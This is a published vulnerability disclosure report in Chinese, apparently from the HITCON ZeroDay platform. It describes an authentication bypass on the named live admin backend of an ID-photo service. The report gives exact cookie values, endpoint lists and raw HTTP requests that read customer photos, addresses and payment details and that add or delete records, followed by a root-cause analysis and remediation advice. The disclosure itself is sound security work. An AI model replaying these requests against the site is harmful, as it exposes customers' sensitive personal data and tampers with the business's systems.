Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00961
- Vendor: 悟空科技股份有限公司
- Title: 悟空科技股份有限公司 後台身份驗證可被繞過,在特定 Cookie 參數填入任意值即可存取後台資料
- Introduction: 後台的身份驗證機制存在缺陷。在未登入、未持有有效後台帳號、有效 JWT 或 Authorization Header 的情況下,僅需在特定 Cookie 參數填入任意值,即可使後台 API 回傳資料。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/07/28 10:25:55 : 新提交 (由 更新此狀態)
- 2026/07/28 11:01:37 : 新提交 (由 更新此狀態)
- 2026/07/28 11:56:40 : 新提交 (由 更新此狀態)
- 2026/07/28 13:11:42 : 新提交 (由 更新此狀態)
- 2026/07/28 13:18:50 : 新提交 (由 更新此狀態)
- 2026/08/03 12:57:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 19:01:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/09/27 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://helper.diyidphoto.com/orders
https://helper.diyidphoto.com/shipping
https://helper.diyidphoto.com/idphoto
https://helper.diyidphoto.com/gallery
https://helper.diyidphoto.com/stats
https://helper.diyidphoto.com/click-stats
https://helper.diyidphoto.com/photos-test
https://helper.diyidphoto.com/redis-test
https://helper.diyidphoto.com/queue-monitor
https://helper.diyidphoto.com/collections
https://helper.diyidphoto.com/free-codes
敘述
0. 摘要(Summary)
https://helper.diyidphoto.com/ 使用 PocketBase 作為其後端管理程式,且是 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。
正常情況下,請求後台管理頁面的任意路徑或端點時,需要攜帶有效的 Authorization Header 與 Cookie Header;
而若使用 Burp Suite 將請求中的 Authorization Header 與 Cookie Header 全數刪除,送出請求後會回傳 302 Found 或 401 Unauthorized。
但如果在請求中加回 Cookie Header,並加入特定 cookie 參數 access_token 與 uid 且給予任意值,如以下:
Cookie: access_token=x; uid=t
最多重放請求 3 至 4 次,即可進入後台路徑、或觸發後台 API 端點回傳請求之資料。
與低權限後台帳號可繞過 RBAC不同的是,未授權攻擊者甚至不需有後台帳號,透過此操作與搭配後台可被公開發現,即可存取包括使用者高敏感個資、與進行可能影響公司商業營運之高敏感操作。
此問題特別值得注意的是:
access_token=x並非有效 JWTuid=t並非正常登入而取得的 User IDaccess_token與uid兩參數的值,並沒有任何關係
這表示後端可能只檢查此兩 cookie 參數是否存在,並未落實驗證 access_token 的簽章(signature)、有效期限(expiration)或綁定其與 uid 的關係。
1. 受影響功能(Affected Feature)
-
功能:網站後台 API session / authentication 機制
-
存取條件:不需要有效的後台帳號與 JWT
-
主要操作 Cookie:
access_tokenuid
-
已觀察到的行為:
-
請求的是需要 auth 的後台路徑(詳細請看後台可被公開發現):
-
無 cookie 時,會回 302 Found 轉跳
/login頁面 -
只加
access_token=x時,請求網頁仍會回 302 Found 轉跳/login頁面 -
加上
access_token=x; uid=t後,最多重放 3 至 4 次,回應狀態碼將變為200 OK並看到網頁內容 -
請求的是 API 端點:
-
無 cookie 時,會回未授權錯誤,如 401 Unauthorized
{"error":"Invalid token"} -
只加
access_token=x時,錯誤訊息可能會改變,如 401 Unauthorized{"error":"User ID required"} -
加上
access_token=x; uid=t後,錯誤訊息可能會改變,如 401 Unauthorized{"error":"Unauthorized"},此時最多重放 3 至 4 次,即可查看到後台資料或圖片內容
-
-
主要影響資料類型:
- 台日兩站之使用者訂單資料
- 台日兩站之使用者上傳的原始照片、經處理後的證件照、姓名、Email、電話
- 台灣站的使用者郵寄地址
- 台日兩站之使用者的支付細節(payment detail)
- 台日兩站所使用之重製碼
- GCS bucket 物件之資料
- 台日兩站之已上傳照片集的圖片、圖片連結與 token
- 台日兩站之網站營運統計資料
- 內部錯誤訊息洩漏
2. 漏洞驗證之前置條件(Preconditions for Verification)
- 需要知道後台相關功能之路徑,可參考後台可被公開發現。
- 需使用 Burp Suite 等 Proxy 工具修改 Cookie,並請求相關端點。
3. 重現步驟(Steps to Reproduce)與概念驗證(Proof of Concept)
以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖,所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留,若需要可再補充。
步驟 1:選擇一個正常情況下需要登入的後台路徑或 API
參考後台可被公開發現與低權限後台帳號可繞過 RBAC所述,選擇一個登入後才能使用的後台路徑或 API。
在此以 /shipping 與 /api/free-code?diy_type=tw 為例,其在 Burp Suite 的 Proxy 頁籤中的 HTTP history 中,未經修改的原始請求應為:
GET /shipping HTTP/2
Host: helper.diyidphoto.com
Cookie: uid=<Id>; access_token=<JWT>; pb_email=<Redacted_Email>; pb_username=<Username>; pb_role=<Role>; active_site=<Site>
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Authorization: Bearer <JWT>
Cookie: uid=<Id>; access_token=<JWT>; pb_email=<Redacted_Email>; pb_username=<Username>; pb_role=<Role>; active_site=<Site>
步驟 2:移除所有登入資訊,建立未登入 baseline
將原始請求發送到 Repeater,並移除請求中的 Cookie Header 與 Authorization Header,如以下:
- 請求後台路徑
GET /shipping HTTP/2
Host: helper.diyidphoto.com
送出請求後,在回應中可見 HTTP/2 302 Found,回應包含 Location: /login。
- 請求 API 端點
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
送出請求後,在回應中可見狀態碼 401 Unauthorized,錯誤訊息顯示 {"error":"Invalid token"},這代表需要有效 token 才能存取。
步驟 3:只加入 access_token 並賦予其任意值
修改請求,加入任意值的 access_token cookie,如以下:
- 請求後台路徑
GET /shipping HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x
送出請求後,在回應中可見 HTTP/2 302 Found,回應仍包含 Location: /login。
- 請求 API 端點
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x
送出請求後,在回應中可見狀態碼 401 Unauthorized,但錯誤訊息顯示 {"error":"User ID required"},這代表請求可能進入不同的驗證分支。
步驟 4:再加入 uid 並賦予其任意值
再次修改請求,加入任意值的 uid cookie,使整體請求如以下:
- 請求後台路徑
GET /shipping HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
送出請求後,若仍回應狀態碼 302 Found 則再重送一次,最多重送 3 至 4 次,回應狀態碼將變為 200 OK,並回傳該頁面之 HTML 程式碼。
- 請求 API 端點
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
送出請求後,若仍回應狀態碼 401 Unauthorized,且錯誤訊息顯示 {"error":"Unauthorized"},則再重送一次,最多重送 3 至 4 次,回應狀態碼將變為 200 OK,觸發後台 API 回傳資料。
在此例中會回傳重製碼清單,格式如下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"ID": <Free-code_Id>,
"Code": "<Free-code_Code>",
"OrderID": "<OrderID>",
"UsedBy": "<UsedBy>",
"Reason": "<Reason>",
"ExpiredAt": "<ExpiredAt_Date_Time>",
"CreatedAt": "<CreatedAt_Date_Time>"
},
...
]
}
這代表無效 Cookie 可繞過身份驗證並存取資料。
步驟 5:請求其它路徑或 API 以驗證資料存取
使用同樣的 cookie 與其值,請求其它路徑或 API 端點,下述皆以 API 為例:
GET /api/idphoto/orders?search=gmail HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
POST /api/gallery/list?site=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
Content-Type: application/json
{"Date":"2026-07-22T00:00:00.000Z"}
POST /api/orders/search/date?diy_type=ja HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
Content-Type: application/json
{"Start":"2026-07-22 00:00:00","End":"2026-07-22 23:59:59"}
同樣,送出請求後若仍回應狀態碼 401 Unauthorized,則最多重送 3 至 4 次,即會觸發後台 API 回傳資料。
例如 POST /api/orders/search/date?diy_type=ja 會回應包含 image URL / image token 等資料,如下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"orderID": "<OrderID>",
"token": "<Order_Token>",
...,
"images": {
"origin": "/api/order/img/origin/<Image_Token>?t=<timestamp>",
"face": "/api/order/img/face/<Image_Token>?t=<timestamp>",
"ruler": "/api/order/img/ruler/<Image_Token>?t=<timestamp>",
"beauty": "/api/order/img/beauty/<Image_Token>?t=<timestamp>",
"final": "/api/order/img/final/<Image_Token>?t=<timestamp>",
"formal": "/api/order/img/formal/<Image_Token>?t=<timestamp>",
"formal711": "/api/order/img/formal_711/<Image_Token>?t=<timestamp>",
"formalFamily": "/api/order/img/formal_family/<Image_Token>?t=<timestamp>",
"receipt": "/api/order/img/receipt_jp/<Image_Token>?t=<timestamp>"
}
},
...
]
}
並且也能以同樣的 cookie 與其值,再針對得到的 image URL 進行請求,例如以下:
GET /api/order/img/final/<Image_Token>?t=<timestamp> HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
最多重送 3 至 4 次,在該請求 Response 的 Render 中,則可見該圖片。
步驟 6:測試操作型 API
使用同樣的 cookie 與其值,測試寫入、刪除等狀態修改或營運操作類 API,為維持最小限度測試,本例使用新增重製碼之相關功能,如以下:
| Method | Endpoint | 功能 |
|---|---|---|
GET |
/api/free-code?diy_type=tw |
重製碼清單。 |
POST |
/api/free-code?diy_type=tw |
新增重製碼。 |
DELETE |
/api/free-code/<Free-code_Id>?diy_type=tw |
刪除特定重製碼 |
進行以下操作流程時,若送出請求後回應狀態碼 401 Unauthorized,則重送 3 至 4 次。
6.1 先查看重製碼清單
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
在 Response 應可見 json 如以下:
{
"error_code": 0,
"error_text": "",
"data": [
{
"ID": <Free-code_Id>,
"Code": "<Free-code_Code>",
"OrderID": "<OrderID>",
"UsedBy": "<UsedBy>",
"Reason": "<Reason>",
"ExpiredAt": "<ExpiredAt_Date_Time>",
"CreatedAt": "<CreatedAt_Date_Time>"
},
...
]
}
6.2 進行新增重製碼
POST /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
在回應中可見 json 如以下:
{
"error_code": 0,
"error_text": "",
"data": {
"ID": <New_Free-code_Id>,
"Code": "<New_Free-code_Code>",
"OrderID": "",
"UsedBy": "",
"Reason": "",
"ExpiredAt": null,
"CreatedAt": "<CreatedAt_Date_Time>"
}
}
6.3 再次查看重製碼清單,確認新增重製碼成功
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
在 Response 應可見 json 中的第一筆(或前幾筆)資料,為剛剛新增的重製碼 ID 與 Code。
6.4 將剛剛新增的重製碼 ID 填入以下請求,以進行刪除
DELETE /api/free-code/<New_Free-code_Id>?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
在 Response 應可見回應 {"error_code":0,"error_text":"","data":null} 。
6.5 再次查看重製碼清單,確認刪除重製碼成功
GET /api/free-code?diy_type=tw HTTP/2
Host: helper.diyidphoto.com
Cookie: access_token=x; uid=t
在 Response 的 json 資料中,已不見剛剛新增的重製碼 ID 與 Code。
4. 預期行為(Expected Behavior)
所有後台路徑與 API 均應完整驗證 Session 或 Access Token,至少確認:
access_token為有效的 JWT- JWT 簽章驗證成功
- Token 尚未過期
- Token 的發行者與接收者(Issuer / Audience)符合系統設定(若有使用)
- Token Subject 存在,並對應有效的後台使用者
- 使用者身份應從已驗證的 Token 或伺服器端 Session 取得,不應直接信任客戶端提供的
uid - 若系統仍需接收
uid,應確認其與已驗證的使用者身份一致
若身份驗證資訊缺失、格式錯誤或驗證失敗,伺服器應拒絕請求並回傳 401 Unauthorized。
若請求者已通過身份驗證,但不具備存取該資源或執行該操作的權限,則應回傳 403 Forbidden。
5. 實際行為(Actual Behavior)
在 Cookie 參數 access_token 與 uid 為任意值的情況下,可存取及操作台灣站與日本站的多個後台 API 及管理功能,包括讀取敏感資料,以及執行新增與刪除重製碼等狀態變更操作。
6. 影響(Impact)
相似於低權限後台帳號可繞過 RBAC之影響,但更嚴重的是,此問題使未授權攻擊者不需有後台帳號,只要參考後台可被公開發現即可存取/操作台日兩站後台之使用者高敏感資料、後台功能及網站營運統計資訊。
可能風險包括:
- 台日兩站之使用者高敏感個資外洩,包括原始照片、證件照、郵寄地址、聯絡方式與付款方式等
- 網站重製碼外洩或被濫用
- 後台營運統計資料外洩
- GCS bucket 物件結構與其資料外洩
- 攻擊者利用後台資料進一步串聯其它漏洞或擴大攻擊面
7. 可能的根本原因(Likely Root Cause)
問題可能出在後端的身份驗證機制未被一致套用,或 Session/Token 驗證流程未完整實作,導致部分請求未能正確拒絕無效的身份驗證資訊。
實際根本原因仍需由系統維護者檢查後端實作確認,但可能原因包括:
- 後端僅確認
access_token與uidCookie 是否存在,未完整驗證其內容 - 系統直接信任前端提供的
uid,而未從已驗證的 Access Token、伺服器端 Session 或其它可信任來源取得目前使用者身份 access_token與uid沒有關係性或沒進行綁定(Subject Binding)- token / uid 格式錯誤、簽章無效、已過期或 Claims 不符合要求時,未採取預設拒絕的處理方式
- 前端 route / cookie 被當成主要安全邊界,卻未考慮其被繞過的狀況
- 身份驗證與授權流程未明確分離,導致尚未確認請求者身份時,即進入資料查詢或狀態變更流程
- 驗證發生錯誤或例外時,可能採取 fail-open 行為,而非預設拒絕存取
- 系統存在多個後端節點,而部分節點的驗證設定或部署版本不一致,導致相同請求可能取得不同的回應
8. 嚴重性評估(Severity Assessment)
嚴重(Critical)
理由如下:
- 不須具備有效的後台帳號 / JWT,也不用進入登入流程
- 任意值之
access_token/uidcookie 參數,即可讓網站後台回傳敏感資訊 - 可跨站別存取及操作多個原應僅限管理員或客服角色使用的後台功能,包括讀取敏感資料、執行新增與刪除重製碼等狀態變更操作
- 影響範圍橫跨台日兩站,且影響資料多元,包括使用者訂單、郵寄功能、使用者上傳之原始照片與經網站處理後的證件照、payment 資料、網站重製碼、GCS bucket 物件與網站營運統計資料等
- 問題發生在後台管理系統,理應有嚴格的防護機制、角色與站別限制
9. 補充說明(Researcher Note)
-
本報告之測試僅限確認漏洞存在,未進行批次化、大量化或自動化操作,也未進行破壞性操作。
-
由於此系統與技術牽涉到三家公司-台灣公司為誠和國際股份有限公司(
https://www.seiwainc.com.tw/)與悟空科技股份有限公司(https://www.goqoo.com/),日本公司為株式会社喜喜(https://jp.diyidphoto.com/)。就可見資料顯示(https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment),三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向,並且問題可牽涉到跨國站點,因此建議同時聯絡三間公司。
以下是三間公司之相關信箱:
誠和國際:[email protected]
悟空科技:[email protected]
DIY證件照-台灣站(悟空科技):[email protected]
DIY證件照-日本站(株式会社喜喜):[email protected]修補建議
## 修補建議(Remediation Suggestions)
1. 所有後台頁面與 API 應使用一致且集中管理的身份驗證機制,並確認每個受保護端點皆已套用相關 middleware。
2. 不應僅依據 `access_token` 或 `uid` Cookie 是否存在決定請求者是否已登入。
3. 後端應完整驗證 Access Token。依系統採用的 Token 規格,驗證項目應包括:
* Token 格式
* JWT 簽章
* 有效期限
* Subject
* Issuer 與 Audience(若系統有使用)
* Token 是否已被撤銷或失效(若系統支援撤銷機制)
* Token 是否由允許的後台登入流程簽發
4. Token 格式錯誤、簽章無效、已過期或 Claims 不符合要求時,應立即拒絕請求,不得繼續執行後續資料查詢或狀態變更。
5. 後端不應直接信任客戶端提供的 `uid` 作為目前登入身份。使用者 ID 應從以下可信任來源取得:
* 已驗證的 Access Token Claims
* 伺服器端 Session
* 經後端確認的身份對應資料
6. 若業務功能必須接收前端提供的 `uid`,該值只能作為資源識別參數,不得直接作為登入身份;後端仍須確認目前登入者是否有權存取該使用者或資源。
7. 完成身份驗證後,所有請求仍須依據角色、站別、資源及操作類型進行授權判斷。未經明確允許的操作應預設拒絕。
8. 應確認所有後端節點使用相同的程式版本、環境設定、驗證金鑰及 middleware 設定,避免相同請求因節點不同而產生不一致的驗證結果。
9. 驗證程序發生例外、逾時、解析失敗或無法確認身份時,系統應採取 fail-closed 行為並拒絕請求。
10. 對任何高風險、高敏感與牽涉到營運狀態的端點和操作,應加入審計紀錄(audit log),例如以下功能:
* 退款功能
* 取消發票功能
* 重寄 email
* 郵寄資料
* 新增或刪除重製碼
* 存取與編輯使用者個資
* 存取使用者支付細節(payment detail)
* 存取使用者的 image token
11. 修補完成後,應逐一驗證本報告列出的後台路徑及 API,並至少測試以下情況:
* 未攜帶任何驗證資訊
* 僅攜帶 `access_token`
* 僅攜帶 `uid`
* 使用格式錯誤的 Token
* 使用簽章無效的 Token
* 使用已過期的 Token
* 使用有效 Token 搭配不相符的 `uid`
* 連續重送相同的無效請求
* 對不同後端節點送出相同請求
上述情況均應穩定地拒絕未經驗證或未經授權的存取。